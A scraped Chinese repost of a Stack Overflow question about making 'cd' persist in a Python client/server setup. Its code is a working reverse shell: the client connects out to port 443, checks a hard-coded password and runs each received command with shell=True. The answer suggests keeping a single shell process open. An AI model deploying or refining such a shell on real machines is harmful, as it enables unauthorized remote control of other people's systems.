gpt4 book ai didi

python-3.x - 在 python 中更改客户端/服务器环境中的工作目录

转载 作者:行者123 更新时间:2023-12-03 12:08:22 25 4
gpt4 key购买 nike

我试图找出使用服务器脚本中的“cd”命令更改客户端脚本上工作目录的最简单方法,但是每当我运行 dir 命令时,当前工作目录都不会改变。这是我的代码:

服务器代码:

import subprocess
import socket

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("0.0.0.0", 443))
server_socket.listen(1)
connected_socket = server_socket.accept()[0]

while True:
encoded_data = connected_socket.recv(1024)
data = encoded_data.decode()

if data != "None":
print(data)
nextcmd = input("Shell: ")
connected_socket.send(nextcmd.encode())
else:
nextcmd = input("Shell: ")
connected_socket.send(nextcmd.encode())

客户代码:
import subprocess
import socket

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

passwd = "secret"

host = "127.0.0.1" #server
port = 443 #port for listener


def Shell():
while True:
encoded_data = client_socket.recv(1024)
data = encoded_data.decode()

if data == "kill":
client_socket.close()
break
elif data[:2] == "cd":
client_socket.send("OK".encode())
continue

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.communicate()[0] + proc.communicate()[1]
client_socket.send(output)


def Login():
global client_socket
client_socket.send("Login Required".encode())
pwd = client_socket.recv(1024)

if pwd.decode() != passwd:
Login()
else:
client_socket.send("connected".encode())
Shell()


client_socket.connect((host, port))
Login()

最佳答案

不要每次都创建一个新的 shell,而是尝试创建一个 shell 进程并将所有输入放入其中。这样,在 shell 更改了自己的目录后,它不会立即关闭。

我对 subprocess 不是很熟悉模块,但我认为您可以通过打开单个 shell 进程并通过 process.communicate 与其通信来做到这一点,设置timeout参数并使用循环,以便您可以发送 ^C停止挂起的程序。

关于python-3.x - 在 python 中更改客户端/服务器环境中的工作目录,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51953298/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com